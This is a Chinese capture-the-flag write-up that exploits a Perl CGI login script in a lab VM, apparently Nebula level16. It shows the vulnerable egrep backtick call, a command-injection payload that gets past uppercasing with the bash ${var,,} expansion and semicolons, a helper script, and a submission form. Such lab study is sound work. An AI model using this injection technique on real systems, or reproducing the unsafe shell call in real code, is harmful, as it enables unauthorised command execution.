这关给了一个Perl写的CGI程序,根据thttpd.conf的配置可知该CGI程序监听的 1616端口。在虚拟机畅通的情况下直接通过 http://192.168.56.101:1616/index.cgi 访问(192.168.56.101是我自己配置的IP地址,读者需要自己配置)。
index.cgi的代码如下:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
这段脚本实现了一个简单的登录认证,先接受GET传来的username和password参数,然后将参数中的英文转换成大写,接着再过滤掉空格,最后通过调用外部shell命令egrep进行判断(代码第14行),并把结果存储到数组@output中,再遍历数组,进行判断。
问题就出在它又是调用了外部shell命令来完成的,并且$username参数是由我们可以控制的。但是,代码第11行将参数的字母全部转换成大写了的,Linux下文件名是区分大小写的,也就是,要在执行命令的时候,需要想办法把username重新转换成小写。不过,shell自带了这样的功能,我们可以做个实验:
lu4nx:~$by=LU4NX lu4nx:~$echo ${by,,} lu4nx
用“${变量名,,}”即可转换成小写。
由于egrep后面有了引号,如果我们注入命令,需要闭合引号。并且egrep需要有输入,我们就用/dev/null。那么,我构造的注入语句如下:
"</DEV/NULL;CMD=/TMP/LEVEL16;${CMD,,};#
其中/tmp/level16是一个可执行脚本文件,内容如下:
#!/bin/bash
/bin/getflag > /tmp/getflag16
这个脚本完成将getflag的执行结果输出到getflag16这个文件中的功能。
注入这条语句之后,在egrep执行后,就执行/tmp/level16脚本了。一定要记得最后要一个注释符“#”,是为了注释掉/home/flag16/userdb.txt 2>&1,并且在注释符之前一定要有个“;”,因为在shell注释符前需要一个空格,比如echo #;如果和命令紧凑在一起,就会解析成文件名,如echo#就会出错。但是程序在带入egrep之前,过滤了空格的,这里就不可以用空格了,所以只有用“;”来分割命令。
最后,我写了一个HTML代码来提交Payload:
<html>
<head><title>test</title></head>
<body>
<form action="http://192.168.56.101:1616/index.cgi" method="get">
username:<input type="text" name="username" /><br />
password:<input type="text" name="password" /><br />
<input type="submit" />
</form>
</body>
</html>
在username中输入刚才构造的语句,password中任意输入。提交之后,我们到虚拟机中看看执行结果:
level16@nebula:/tmp$ cd /tmp/ level16@nebula:/tmp$ cat getflag16 You have successfully executed getflag on a target account level16@nebula:/tmp$
参考: